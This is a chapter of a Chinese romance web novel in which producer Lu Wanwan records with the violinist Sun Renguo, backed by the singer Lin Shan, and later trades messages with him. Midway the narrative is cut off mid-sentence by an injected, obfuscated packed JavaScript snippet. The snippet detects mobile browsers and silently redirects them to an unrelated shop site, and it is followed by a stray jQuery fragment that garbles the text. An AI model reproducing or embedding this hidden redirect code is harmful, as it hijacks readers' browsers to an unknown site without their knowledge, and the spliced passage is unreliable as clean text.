纵然路弯弯再嘴硬,也会承认自己确实在那一瞬间甚至想拥住林杉,坦然地接受他热切的眼神。
可她没有。
幸好她没有。
她笑了,状似轻巧地回答好,随后端了餐盘上桌。
之后的晚饭,两人几乎没怎么聊天。
应该是都想给自己时间冷却过热的引擎。
//
第二天,路弯弯的日程是和贝斯老师见面定下大概的节奏和速度。
虽然这是一首三年前就已写好的歌,路弯弯当年的潦草和稚嫩还是给这首歌留下了不少遗憾,这次的编曲最重要的就是解决遗憾,除了对这首歌,还有对16岁的自己。
出发前卫蓝给她发了消息,像是及时雨。
她正要关门的手一顿,回去摸了眉钉贴,毅然决然贴上。
卫蓝工作室的录音棚是允许短期租赁的,今天的录音棚除了路弯弯还有几位老熟人。
贺渊、张辉那一撮人,和一位来自美国的著名电子乐奠基人Zane。
路弯弯曾和他打过交道,倒也不怵。
录音棚为了照顾昂贵的仪器,温度大多偏低。
路弯弯进门的时候却并没感受到熟悉的凉气,反而是热火朝天的氛围。
幸而耳机里播放的《MadHatter》*的怪诞恐怖风很好的为路弯弯的精神状态降温。
像嗅到猎物的秃鹫一样,那群老家伙一窝蜂地凑了上来,似乎不把路弯弯围个水泄不通就不罢休。
算了,体谅一下半截入土的。
为了礼节,她把一只入耳式耳机拿了下来,音乐瞬间停止。
贺渊正在“尽地主之谊”地向她介绍Zane。
“弯弯,这是美国的制作人Zane,也是你的母校毕业的,你应该认识的吧?呵呵,就是不知道Zane先生是否认识……?”
他故意延长的语调和喊她的称谓都让她胃里恶心得翻江倒海。
他的几个朋友见路弯弯和Zane同时沉默,以为是终于抓住了小丫头片子的把柄,都凑上来嘲讽路弯弯的名气小。
路弯弯铁了心不说话,他们就开始在Zane身边的吹耳旁风,口音极重,明明是吐气,路弯弯却觉得他们在喷土。
Zane终于示意他们安静,目光巡视了路弯弯的全身之后停留在她的眉钉上。
他伸出手,关切地问“Whendidyougettheeyebrowringdone?”(你什么时候打的眉钉?)。
周围瞬间安静了。
她没回答,而是直接推开了他的手。
不过是曾经旁观过自己的逆袭之路的,自以为很了解她的人罢了。
路弯弯给他一个无所谓的眼神,然后戴上耳机,认真地唱出《MadHatter》她最喜欢的一句词。
“SowhatifI'mcrazy?Allthebestpeopleare.”*
那群人见情势不对,立刻转换了话题。
郑辉指指她,不怀好意地问:“路小姐不是说要请孙老师出山吗?怎么也没看到他老人家呢?”
路弯弯把他的手摁回去,目光如炬,“郑先生,你们这群人,是永远也学不会礼貌的地痞流氓吗?”
她顺了顺自己的高马尾,“至于孙老师……”
她还没说下去——
“在这儿呢!”清脆的声音在人群外响起。
像是一道分水岭,人群自然而然散开,只见林杉扶着孙仁国出现在路弯弯身边。
路弯弯先是对着孙老师鞠了一躬,又带着疑惑看向悠然自得的林杉。
后者安抚似的对她笑笑。
路弯弯突然觉得有双大手一下一下抚着她的后背,格外安心。
好久没有这种将自己的后背安心递出的时刻了,只有真正感同身受了,她才忽然理解了林杉想要参与她的工作的想法。
她把手里的手机往包里一丢,随即来回审视站成一排的,黑压压的一群人。
“没人教过你们要尊重别人吗,各、位、前、辈?”
字字句句,掷地有声。
没人再反驳。
人群终于作鸟兽散。
Zane想和路弯弯说些什么,被林杉一下顶开。
“Sorry,”他坏笑着拉长语调,俯视小个子的Zane。
刚刚还坏笑着的眼在转向路弯弯时又变得湿漉漉,像是等待审判的嫌疑人。
路弯弯倒是没准备审判他,两个人一左一右陪着孙仁国进了录音棚。
找来凳子先让孙老师坐下,路弯弯又端上了茶水,耐心地蹲在旁边给老师解释今天录的小节和速度。
其实今天的日程表上并非弦乐,而是请贝斯老师来定节奏。
可孙老师毕竟难请,无论如何也要按照他的时间来。
贝斯老师表示理解。
如果说路弯弯的母亲邓芝女士是这十年来小提琴演奏的大师,那孙仁国就该是近二十年来无人超越的存在。
他的退居幕后一直为人所猜测,却始终没有定论。
为乐器录音是需要调试设备的,路弯弯弯着腰认真地为老师调好麦克风时,林杉就在旁边和孙仁国聊天。
终于调试完毕,路弯弯坐到调音台前,戴上铁三角耳机,上滑推子,示意棚内的老师可以开始了。
林杉则陪在她身边,也戴上监听耳机*享受无渲染的弦乐。
路弯弯把头发扎起,露出一段白皙修长的脖颈,她今天只戴了一条很素的路路通*项链,显得更加出尘。
林杉发现她工作时完全是另一个人,刚刚处于下位的人一旦被圈进工作椅、处于调音台前,就仿佛成了整个录音棚的绝对控制者。
即使对面是绝对的大前辈,她也丝毫不怯,只是语气平和地让对方调整。
这样,林杉就不得不怀疑她真的是新人吗?
不然怎么会像是已经历经千帆的老船长一样擅长掌舵?
林杉突然又觉得她像是一个凶猛又有力的漩涡,所有路过的小鱼小虾,都会被卷入海潮。
自愿,或是强迫的。
林杉很乐意承认他是前者。
送走孙老师,路弯弯向椅背一躺,转到林杉面前,示意他解释。
林杉先给了她一杯温水,然后才给她看自己的手机。
那是路弯弯发给他的乐谱文件,并非最终版,而是她自己的版本。
上面有写要请的伴奏老师,小提琴后面写的孙仁国,却又加了一个括号写“待定”。
路弯弯问:“你认识老师?”
林杉清澈的眼神滴溜溜一转,摇摇头表示不认识。
路弯弯笑着直起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273421|139964||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
腰敲了敲,然后叹气,“真是初生牛犊不怕虎一样,误打误撞的。”
林杉自顾自地把她的话划为了称赞,晃着头继续说:
“我到处打听,听说老师喜欢园艺,就挑了每个早晨买了几盆花跑去老师的花园里种了。”
路弯弯眯起眼,“这个天?”
林杉点点头,然后凑近她,“怎么,弯弯心疼我啦?”
得了便宜就卖乖。
路弯弯放松眼睫,没回他。
然后林杉就摊开手,“然后我说我是替我们两个人来找老师的,老师说他看了我们的节目,就同意来了。”
这家伙讲这些的时候到底省略了多少细节,路弯弯难以想象。
她曾在很小的时候随邓芝拜访过孙仁国,那时她还被周围的老师们称为天才,却在他那里□□壁,他对着邓芝只说了几个字,小弯弯的脸就憋成了猪肝色。
“再练练,太浮躁。”
现在想来,孙老师说得没错,她确实浮躁,因为她爱的本就并非演奏。
林杉之后还有拍摄任务,没等到贝斯老师录完低音部分就离开了,那晚,路弯弯回家又继续工作到了很晚。
习惯原因,窝进被子里她才关闭勿扰模式,手机已经被某人的消息塞爆。
【杉】:给你看今天的枫城。
【杉】:还没睡吗?看你家灯还亮着。
【杉】:我明天要飞北城了,要好久呢。
【杉】:好饿好饿好饿,想和你一起吃饭。
似乎是为了好看,他几条消息堆在一起几乎成了金字塔。
最后一条,是五分钟前。
【杉】:你对每个合作的歌手都这么好吗?你会对我一直这么好吗?
路弯弯哂笑,她怎么不知道自己哪里对他好了?
腱鞘炎发作,腕骨一下下折磨着她,痛到无法忍受,于是她没回他的消息,吞下止痛药,关上了手机。
//
第二天路弯弯去录架子鼓的时候,发现自己的工作椅上放了个腰靠,还放了一大袋膏药。
卫蓝敲门进来,和她说是林杉拜托严正送来的,路弯弯颔首表示知道了。
然后坐在椅子上半小时才想起来要走进录音棚。
不是被感动了,只是太热了要让引擎冷却一下,她是这么想的。
今天要处理贝斯,要低沉,要符合林杉的低谷,想到这儿,她突然想残忍地问问林杉的低谷。
最终还是没能狠得下心。
她打开自己剪的视频,开始回忆当时的林杉。
却发现钴蓝色月牙女士的粉丝越来越多了,几乎是路弯弯个人微博的十倍。
这得益于林杉暴涨的粉丝量。
甚至还没到总决赛,林杉的粉丝已经快要逼近他的全盛时期,路弯弯看着那串飞速增长的数字,突然有些恍惚。
这是曾经的她想送他的。
现在呢?
真的到了这一天,已经看到了曙光,却觉得自己好像并不存在于光里,而是努力地、徒劳地站在山脚看着被山头遮盖得严实的耀日。
她不能只是钴蓝色月牙女士,她得是制作人路弯弯。
进入了死胡同,再想向前却发现没有路了。
有人发来一条消息,她暂时抽离思绪。
【杉】:想给女孩买珍珠,有推荐吗?